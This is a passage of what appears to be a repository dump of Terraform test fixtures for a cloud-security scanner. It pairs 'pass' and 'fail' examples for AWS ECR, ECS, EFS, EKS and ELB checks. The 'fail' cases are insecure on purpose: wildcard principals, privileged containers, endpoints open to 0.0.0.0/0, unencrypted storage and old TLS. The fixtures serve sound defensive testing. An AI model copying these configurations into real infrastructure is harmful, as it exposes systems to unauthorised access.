aws_ecr_repository.conditional_ok.name\n  policy     = <<POLICY\n{   \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"new policy\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": [\n                \"ecr:GetDownloadUrlForLayer\",\n                \"ecr:BatchGetImage\",\n                \"ecr:BatchCheckLayerAvailability\",                \n                \"ecr:PutImage\",\n                \"ecr:InitiateLayerUpload\",                \n                \"ecr:UploadLayerPart\",\n                \"ecr:CompleteLayerUpload\",                \n                \"ecr:DescribeRepositories\",                \n                \"ecr:GetRepositoryPolicy\",                \n                \"ecr:ListImages\",                \n                \"ecr:DeleteRepository\",\n                \"ecr:BatchDeleteImage\",                \n                \"ecr:SetRepositoryPolicy\",\n                \"ecr:DeleteRepositoryPolicy\"\n            ],        \n            \"Condition\": {\n                \"ForAllValues:StringEquals\": {\n                    \"aws:PrincipalOrgID\": \"o-12345678\"\n                }\n            }\n        }   \n    ]\n    }\nPOLICY\n}\n\nresource \"aws_ecr_repository\" \"conditional_bad\" {\n  name = \"conditional_bad_repo\"\n}\n\nresource \"aws_ecr_repository_policy\" \"fail_conditional\" {\n  repository = aws_ecr_repository.conditional_bad.name\n  policy     = <<POLICY\n{   \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"new policy\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": [\n                \"ecr:GetDownloadUrlForLayer\",\n                \"ecr:BatchGetImage\",\n                \"ecr:BatchCheckLayerAvailability\",                \n                \"ecr:PutImage\",\n                \"ecr:InitiateLayerUpload\",                \n                \"ecr:UploadLayerPart\",\n                \"ecr:CompleteLayerUpload\",                \n                \"ecr:DescribeRepositories\",                \n                \"ecr:GetRepositoryPolicy\",                \n                \"ecr:ListImages\",                \n                \"ecr:DeleteRepository\",\n                \"ecr:BatchDeleteImage\",                \n                \"ecr:SetRepositoryPolicy\",\n                \"ecr:DeleteRepositoryPolicy\"\n            ],\n            \"Condition\": {\n                \"ForAllValues:StringEquals\": {\n                    \"aws:username\": \"pull-user-1\"\n                }\n            }\n        }   \n    ]\n    }\nPOLICY\n}\n\nresource \"aws_ecr_repository_policy\" \"cond_any_pass\" {\n  repository = \"example\"\n\n  policy = jsonencode(\n    {\n      Version   = \"2008-10-17\",\n      Statement = [\n        {\n          Effect    = \"Allow\",\n          Principal = \"*\",\n          Action    = [\n            \"ecr:BatchGetImage\",\n            \"ecr:BatchCheckLayerAvailability\",\n            \"ecr:DescribeImages\",\n            \"ecr:DescribeRepositories\",\n            \"ecr:GetDownloadUrlForLayer\",\n            \"ecr:ListImages\"\n          ],\n          Condition = {\n            \"ForAnyValue:StringEquals\" = {\n              \"aws:PrincipalOrgID\" = local.org_ids\n            }\n          }\n        }\n      ]\n    }\n  )\n}\n\nresource \"aws_ecr_repository_policy\" \"pass_without_principal\" {\n  repository = \"example\"\n\n  policy = jsonencode(\n    {\n      Version   = \"2008-10-17\",\n      Statement = [\n        {\n          Effect    = \"Allow\",\n          Action    = [\n            \"ecr:BatchGetImage\",\n            \"ecr:BatchCheckLayerAvailability\",\n            \"ecr:DescribeImages\",\n            \"ecr:DescribeRepositories\",\n            \"ecr:GetDownloadUrlForLayer\",\n            \"ecr:ListImages\"\n          ],\n          Condition = {\n            \"ForAnyValue:StringEquals\" = {\n              \"aws:PrincipalOrgID\" = local.org_ids\n            }\n          }\n        }\n      ]\n    }\n  )\n}\n\nresource \"aws_ecr_repository_policy\" \"cond_equals_pass\" {\n  repository = \"example\"\n\n  policy = jsonencode(\n    {\n      Version   = \"2008-10-17\",\n      Statement = [\n        {\n          Effect    = \"Allow\",\n          Principal = \"*\",\n          Action    = [\n            \"ecr:BatchGetImage\",\n            \"ecr:BatchCheckLayerAvailability\",\n            \"ecr:DescribeImages\",\n            \"ecr:DescribeRepositories\",\n            \"ecr:GetDownloadUrlForLayer\",\n            \"ecr:ListImages\"\n          ],\n          Condition = {\n            \"StringEquals\" = {\n              \"aws:PrincipalOrgID\" = \"o-xxxxxxxxxxx\"\n            }\n          }\n        }\n      ]\n    }\n  )\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECSClusterLoggingEnabled/main.tf",
    "content": "resource \"aws_ecs_cluster\" \"fail\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      # kms_key_id = aws_kms_key.example.arn\n      logging = \"NONE\"\n\n      log_configuration {\n        # cloud_watch_encryption_enabled = true\n        # cloud_watch_log_group_name     = aws_cloudwatch_log_group.example.name\n\n        # or\n        # s3_bucket_name=   and\n        # s3_bucket_encryption_enabled =true\n      }\n    }\n  }\n  tags = { test = \"fail\" }\n}\n\nresource \"aws_ecs_cluster\" \"pass\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      # kms_key_id = aws_kms_key.example.arn\n\n\n      log_configuration {\n        # cloud_watch_encryption_enabled = true\n        # cloud_watch_log_group_name     = aws_cloudwatch_log_group.example.name\n\n        # or\n        # s3_bucket_name=   and\n        # s3_bucket_encryption_enabled =true\n      }\n    }\n  }\n  tags = { test = \"fail\" }\n}\n\nresource \"aws_ecs_cluster\" \"pass2\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      # kms_key_id = aws_kms_key.example.arn\n      logging = \"DEFAULT\"\n\n      log_configuration {\n        # cloud_watch_encryption_enabled = true\n        # cloud_watch_log_group_name     = aws_cloudwatch_log_group.example.name\n\n        # or\n        # s3_bucket_name=   and\n        # s3_bucket_encryption_enabled =true\n      }\n    }\n  }\n  tags = { test = \"fail\" }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECSClusterLoggingEncryptedWithCMK/main.tf",
    "content": "resource \"aws_ecs_cluster\" \"fail4\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      kms_key_id = aws_kms_key.example.arn\n    }\n  }\n  tags = { test = \"fail\" }\n}\n\nresource \"aws_ecs_cluster\" \"unknown\" {\n  name = \"white-hart\"\n  tags = { test = \"fail\" }\n}\n\nresource \"aws_ecs_cluster\" \"unknown2\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      # kms_key_id = aws_kms_key.example.arn\n      logging = \"NONE\"\n\n      log_configuration {\n        # cloud_watch_encryption_enabled = true\n        # cloud_watch_log_group_name     = aws_cloudwatch_log_group.example.name\n\n        # or\n        # s3_bucket_name=   and\n        # s3_bucket_encryption_enabled =true\n      }\n    }\n  }\n  tags = { test = \"fail\" }\n}\n\nresource \"aws_ecs_cluster\" \"fail\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      # kms_key_id = aws_kms_key.example.arn\n\n      log_configuration {\n        # cloud_watch_encryption_enabled = true\n        # cloud_watch_log_group_name     = aws_cloudwatch_log_group.example.name\n\n        # or\n        # s3_bucket_name=   and\n        # s3_bucket_encryption_enabled =true\n      }\n    }\n  }\n  tags = { test = \"fail\" }\n}\n\n\n\nresource \"aws_ecs_cluster\" \"fail2\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      kms_key_id = aws_kms_key.example.arn\n\n      log_configuration {\n        # cloud_watch_encryption_enabled = true\n        # cloud_watch_log_group_name     = aws_cloudwatch_log_group.example.name\n\n        # or\n        # s3_bucket_name=   and\n        # s3_bucket_encryption_enabled =true\n      }\n    }\n  }\n  tags = { test = \"fail\" }\n}\n\nresource \"aws_ecs_cluster\" \"fail3\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      kms_key_id = aws_kms_key.example.arn\n\n      log_configuration {\n        cloud_watch_encryption_enabled = false\n        # cloud_watch_log_group_name     = aws_cloudwatch_log_group.example.name\n\n        # or\n        # s3_bucket_name=   and\n        # s3_bucket_encryption_enabled =true\n      }\n    }\n  }\n  tags = { test = \"fail\" }\n}\n\nresource \"aws_ecs_cluster\" \"fail5\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      kms_key_id = aws_kms_key.example.arn\n\n      log_configuration = [null]\n    }\n  }\n  tags = { test = \"fail\" }\n}\n\nresource \"aws_ecs_cluster\" \"pass\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      kms_key_id = aws_kms_key.example.arn\n\n      log_configuration {\n        cloud_watch_encryption_enabled = true\n        # cloud_watch_log_group_name     = aws_cloudwatch_log_group.example.name\n\n        # or\n        # s3_bucket_name=   and\n        # s3_bucket_encryption_enabled =true\n      }\n    }\n  }\n  tags = { test = \"fail\" }\n}\n\nresource \"aws_ecs_cluster\" \"pass2\" {\n  name = \"white-hart\"\n  configuration {\n    execute_command_configuration {\n      kms_key_id = aws_kms_key.example.arn\n\n      log_configuration {\n        #        cloud_watch_encryption_enabled = true\n        # cloud_watch_log_group_name     = aws_cloudwatch_log_group.example.name\n\n        # or\n        # s3_bucket_name=   and\n        s3_bucket_encryption_enabled = true\n      }\n    }\n  }\n  tags = { test = \"fail\" }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECSContainerHostProcess/main.tf",
    "content": "resource \"aws_ecs_task_definition\" \"pass\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"service-second\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n\n  placement_constraints {\n    type       = \"memberOf\"\n    expression = \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n  }\n}\n\nresource \"aws_ecs_task_definition\" \"pass2\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      pidMode   = \"task\"\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"service-second\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n\n  placement_constraints {\n    type       = \"memberOf\"\n    expression = \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n  }\n}\n\nresource \"aws_ecs_task_definition\" \"fail\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"service-second\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      privilege = true\n      pidMode = \"host\"\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n\n  placement_constraints {\n    type       = \"memberOf\"\n    expression = \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECSContainerPrivilege/main.tf",
    "content": "resource \"aws_ecs_task_definition\" \"pass\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"service-second\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n\n  placement_constraints {\n    type       = \"memberOf\"\n    expression = \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n  }\n}\n\nresource \"aws_ecs_task_definition\" \"fail\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"service-second\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      privilege = true\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n\n  placement_constraints {\n    type       = \"memberOf\"\n    expression = \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECSContainerReadOnlyRoot/main.tf",
    "content": "resource \"aws_ecs_task_definition\" \"pass\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      readonlyRootFilesystem = true\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"service-second\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      readonlyRootFilesystem = true\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n\n  placement_constraints {\n    type       = \"memberOf\"\n    expression = \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n  }\n}\n\nresource \"aws_ecs_task_definition\" \"fail\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      pidMode   = \"task\"\n      readonlyRootFilesystem = true\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"service-second\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n\n  placement_constraints {\n    type       = \"memberOf\"\n    expression = \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n  }\n}\n\nresource \"aws_ecs_task_definition\" \"fail2\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      readonlyRootFilesystem = false\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"service-second\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      privilege = true\n      pidMode = \"host\"\n      readonlyRootFilesystem = false\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n\n  placement_constraints {\n    type       = \"memberOf\"\n    expression = \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECSServiceFargateLatest/main.tf",
    "content": "resource \"aws_ecs_service\" \"pass\" {\n  name = \"pike\"\n  launch_type = \"FARGATE\"\n  platform_version = \"LATEST\"\n}\n\nresource \"aws_ecs_service\" \"pass2\" {\n  name = \"pike\"\n  launch_type = \"FARGATE\"\n}\n\nresource \"aws_ecs_service\" \"fail\" {\n  name = \"pike\"\n  launch_type = \"FARGATE\"\n  platform_version = \"1.4.0\"\n}\n\nresource \"aws_ecs_service\" \"unknown\" {\n  name = \"pike\"\n  platform_version = \"LATEST\"\n}\n\nresource \"aws_ecs_service\" \"unknown2\" {\n  name = \"pike\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECSServicePublicIP/main.tf",
    "content": "resource \"aws_ecs_service\" \"pass\" {\n  name    = \"example\"\n  cluster = aws_ecs_cluster.example.id\n\n  alarms {\n    enable   = true\n    rollback = true\n    alarm_names = [\n      aws_cloudwatch_metric_alarm.example.alarm_name\n    ]\n  }\n}\n\nresource \"aws_ecs_service\" \"pass2\" {\n  name    = \"example\"\n  cluster = aws_ecs_cluster.example.id\n\n  alarms {\n    enable   = true\n    rollback = true\n    alarm_names = [\n      aws_cloudwatch_metric_alarm.example.alarm_name\n    ]\n  }\n  network_configuration {\n    subnets = []\n    assign_public_ip = false\n  }\n}\n\nresource \"aws_ecs_service\" \"fail\" {\n  name    = \"example\"\n  cluster = aws_ecs_cluster.example.id\n\n  alarms {\n    enable   = true\n    rollback = true\n    alarm_names = [\n      aws_cloudwatch_metric_alarm.example.alarm_name\n    ]\n  }\n  network_configuration {\n    subnets = []\n    assign_public_ip = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECSTaskDefinitionRoleCheck/main.tf",
    "content": "resource \"aws_ecs_task_definition\" \"pass\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    }\n  ])\n  execution_role_arn = \"aws_iam_role.execution.arn\"\n  task_role_arn = \"aws_iam_role.task.arn\"\n}\n\nresource \"aws_ecs_task_definition\" \"fail\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"service-first\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    }\n  ])\n  execution_role_arn = \"aws_iam_role.example.arn\"\n  task_role_arn = \"aws_iam_role.example.arn\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EFSAccessPointRoot/main.tf",
    "content": "resource \"aws_efs_access_point\" \"pass\" {\n  file_system_id = aws_efs_file_system.sharedstore.id\n  root_directory {\n    path=var.root_path\n  }\n}\n\nvariable \"root_path\" {\n    type=string\n    default = \"/data\"\n}\n\nresource \"aws_efs_access_point\" \"fail\" {\n  file_system_id = aws_efs_file_system.sharedstore.id\n  root_directory {\n    path=\"/\"\n  }\n}\n\n\nresource \"aws_efs_access_point\" \"fail2\" {\n  file_system_id = aws_efs_file_system.sharedstore.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EFSAccessUserIdentity/main.tf",
    "content": "resource \"aws_efs_access_point\" \"fail\" {\n  file_system_id = aws_efs_file_system.sharedstore.id\n  root_directory {\n    path=var.root_path\n  }\n}\n\nvariable \"root_path\" {\n    type=string\n    default = \"/data\"\n}\n\nresource \"aws_efs_access_point\" \"pass\" {\n  file_system_id = aws_efs_file_system.sharedstore.id\n  root_directory {\n    path=var.root_path\n  }\n  posix_user {\n    gid = 0\n    uid = 0\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EFSEncryptionEnabled/main.tf",
    "content": "# pass\n\nresource \"aws_efs_file_system\" \"enabled\" {\n  creation_token = \"example\"\n\n  encrypted = true\n}\n\n# fail\n\nresource \"aws_efs_file_system\" \"default\" {\n  creation_token = \"example\"\n}\n\nresource \"aws_efs_file_system\" \"disabled\" {\n  creation_token = \"example\"\n\n  encrypted = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EFSFileSystemEncryptedWithCMK/aws_efs_file_system.tf",
    "content": "resource \"aws_efs_file_system\" \"pass\" {\n  encrypted  = true\n  kms_key_id = aws_kms_key.test.arn\n}\n\nresource \"aws_efs_file_system\" \"fail\" {\n  encrypted = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EKSControlPlaneLogging/main.tf",
    "content": "# pass\n\nresource \"aws_eks_cluster\" \"fully_enabled\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  enabled_cluster_log_types = [\n    \"api\",\n    \"audit\",\n    \"authenticator\",\n    \"controllerManager\",\n    \"scheduler\"\n  ]\n}\n\nresource \"aws_eks_cluster\" \"fully_enabled_with_dynamic_block\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  enabled_cluster_log_types = [\n    \"api\",\n    \"audit\",\n    \"authenticator\",\n    \"controllerManager\",\n    \"scheduler\"\n  ]\n\n  dynamic \"encryption_config\" {\n    for_each = [1]\n\n    content {\n      provider {\n        key_arn = \"aws/kms/key\"\n      }\n      resources = [\"secrets\"]\n    }\n  }\n}\n\n# fail\n\nresource \"aws_eks_cluster\" \"partially_enabled\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  enabled_cluster_log_types = [\n    \"api\",\n    \"audit\"\n  ]\n}\n\nresource \"aws_eks_cluster\" \"not_configured\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EKSPlatformVersion/main.tf",
    "content": "resource \"aws_eks_cluster\" \"pass\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.example.arn\n\n  vpc_config {\n    subnet_ids = [aws_subnet.example1.id, aws_subnet.example2.id]\n  }\n\n  # Ensure that IAM Role permissions are created before and deleted after EKS Cluster handling.\n  # Otherwise, EKS will not be able to properly delete EKS managed EC2 infrastructure such as Security Groups.\n  depends_on = [\n    aws_iam_role_policy_attachment.example-AmazonEKSClusterPolicy,\n    aws_iam_role_policy_attachment.example-AmazonEKSVPCResourceController,\n  ]\n}\n\nresource \"aws_eks_cluster\" \"pass2\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.example.arn\n\n  vpc_config {\n    subnet_ids = [aws_subnet.example1.id, aws_subnet.example2.id]\n  }\n\n  version = \"1.35\"\n  # Ensure that IAM Role permissions are created before and deleted after EKS Cluster handling.\n  # Otherwise, EKS will not be able to properly delete EKS managed EC2 infrastructure such as Security Groups.\n  depends_on = [\n    aws_iam_role_policy_attachment.example-AmazonEKSClusterPolicy,\n    aws_iam_role_policy_attachment.example-AmazonEKSVPCResourceController,\n  ]\n}\n\nresource \"aws_eks_cluster\" \"fail\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.example.arn\n\n  vpc_config {\n    subnet_ids = [aws_subnet.example1.id, aws_subnet.example2.id]\n  }\n\n  version = \"1.21\"\n\n  # Ensure that IAM Role permissions are created before and deleted after EKS Cluster handling.\n  # Otherwise, EKS will not be able to properly delete EKS managed EC2 infrastructure such as Security Groups.\n  depends_on = [\n    aws_iam_role_policy_attachment.example-AmazonEKSClusterPolicy,\n    aws_iam_role_policy_attachment.example-AmazonEKSVPCResourceController,\n  ]\n}\n\nresource \"aws_eks_cluster\" \"fail2\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.example.arn\n\n  vpc_config {\n    subnet_ids = [aws_subnet.example1.id, aws_subnet.example2.id]\n  }\n\n  version = \"1.25\"\n\n  # Ensure that IAM Role permissions are created before and deleted after EKS Cluster handling.\n  # Otherwise, EKS will not be able to properly delete EKS managed EC2 infrastructure such as Security Groups.\n  depends_on = [\n    aws_iam_role_policy_attachment.example-AmazonEKSClusterPolicy,\n    aws_iam_role_policy_attachment.example-AmazonEKSVPCResourceController,\n  ]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EKSPublicAccess/main.tf",
    "content": "# pass\n\nresource \"aws_eks_cluster\" \"disabled\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  vpc_config {\n    subnet_ids = [\"subnet-12345\"]\n\n    endpoint_public_access = False\n  }\n}\n\n# fail\n\nresource \"aws_eks_cluster\" \"default\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  vpc_config {\n    subnet_ids = [\"subnet-12345\"]\n  }\n}\n\nresource \"aws_eks_cluster\" \"enabled\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  vpc_config {\n    subnet_ids = [\"subnet-12345\"]\n\n    endpoint_public_access = True\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EKSPublicAccessCIDR/main.tf",
    "content": "# pass\n\nresource \"aws_eks_cluster\" \"disabled\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  vpc_config {\n    subnet_ids = [\"subnet-12345\"]\n\n    endpoint_public_access = False\n  }\n}\n\nresource \"aws_eks_cluster\" \"restricted\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  vpc_config {\n    subnet_ids = [\"subnet-12345\"]\n\n    public_access_cidrs = [\"10.0.0.0/16\"]\n  }\n}\n\n# fail\n\nresource \"aws_eks_cluster\" \"default\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  vpc_config {\n    subnet_ids = [\"subnet-12345\"]\n  }\n}\n\nresource \"aws_eks_cluster\" \"empty\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  vpc_config {\n    subnet_ids = [\"subnet-12345\"]\n\n    public_access_cidrs = []\n  }\n}\n\nresource \"aws_eks_cluster\" \"open\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.arn\"\n\n  vpc_config {\n    subnet_ids = [\"subnet-12345\"]\n\n    public_access_cidrs = [\"0.0.0.0/0\"]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ELBPolicyUsesSecureProtocols/main.tf",
    "content": "resource \"aws_load_balancer_policy\" \"fail\" {\n  load_balancer_name = aws_elb.wu-tang.name\n  policy_name        = \"wu-tang-ssl\"\n  policy_type_name   = \"SSLNegotiationPolicyType\"\n\n  policy_attribute {\n    name  = \"Protocol-TLSv1.2\"\n    value = \"true\"\n  }\n\n  policy_attribute {\n    name  = \"Protocol-TLSv1\"\n    value = \"true\"\n  }\n}\n\nresource \"aws_load_balancer_policy\" \"fail2\" {\n  load_balancer_name = aws_elb.wu-tang.name\n  policy_name        = \"wu-tang-ssl\"\n  policy_type_name   = \"SSLNegotiationPolicyType\"\n\n  policy_attribute {\n    name  = \"Reference-Security-Policy\"\n    value = \"ELBSecurityPolicy-2016-08\"\n  }\n}\n\nresource \"aws_load_balancer_policy\" \"fail3\" {\n  load_balancer_name = aws_elb.wu-tang.name\n  policy_name        = \"wu-tang-ssl\"\n  policy_type_name   = \"SSLNegotiationPolicyType\"\n\n  policy_attribute {\n    name  = \"Reference-Security-Policy\"\n    value = \"ELBSecurityPolicy-TLS-1-1-2017-01\"\n  }\n}\n\nresource \"aws_load_balancer_policy\" \"fail4\" {\n  load_balancer_name = aws_elb.wu-tang.name\n  policy_name        = \"wu-tang-ssl\"\n  policy_type_name   = \"SSLNegotiationPolicyType\"\n\n  policy_attribute {\n    name  = \"Reference-Security-Policy\"\n    value = \"ELBSecurityPolicy-2015-05\"\n  }\n}\n\nresource \"aws_load_balancer_policy\" \"fail5\" {\n  load_balancer_name = aws_elb.wu-tang.name\n  policy_name        = \"wu-tang-ssl\"\n  policy_type_name   = \"SSLNegotiationPolicyType\"\n\n  policy_attribute {\n    name  = \"Reference-Security-Policy\"\n    value = \"ELBSecurityPolicy-2015-03\"\n  }\n}\n\nresource \"aws_load_balancer_policy\" \"fail6\" {\n  load_balancer_name = aws_elb.wu-tang.name\n  policy_name        = \"wu-tang-ssl\"\n  policy_type_name   = \"SSLNegotiationPolicyType\"\n\n  policy_attribute {\n    name  = \"Reference-Security-Policy\"\n    value = \"ELBSecurityPolicy-2015-02\"\n  }\n}\n\nresource \"aws_load_balancer_policy\" \"pass\" {\n  load_balancer_name = aws_elb.wu-tang.name\n  policy_name        = \"wu-tang-ssl\"\n  policy_type_name   = \"SSLNegotiationPolicyType\"\n\n  policy_attribute {\n    name  = \"Protocol-TLSv1.2\"\n    value = \"true\"\n  }\n}\n\nresource \"aws_load_balancer_policy\" \"pass2\" {\n  load_balancer_name = aws_elb.wu-tang.name\n  policy_name        = \"wu-tang-ssl\"\n  policy_type_name   = \"SSLNegotiationPolicyType\"\n\n  policy_attribute {\n    name  = \"Protocol-TLSv1\"\n    value = \"false\"\n  }\n}\n\nresource \"aws_load_balancer_policy\" \"pass3\" {\n  load_balancer_name = aws_elb.wu-tang.name\n  policy_name        = \"wu-tang-ssl\"\n  policy_type_name   = \"SSLNegotiationPolicyType\"\n\n  policy_attribute {\n    name  = \"Reference-Security-Policy\"\n    value = \"TLS-1-2-2017-01\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ELBv2AccessLogs/main.tf",
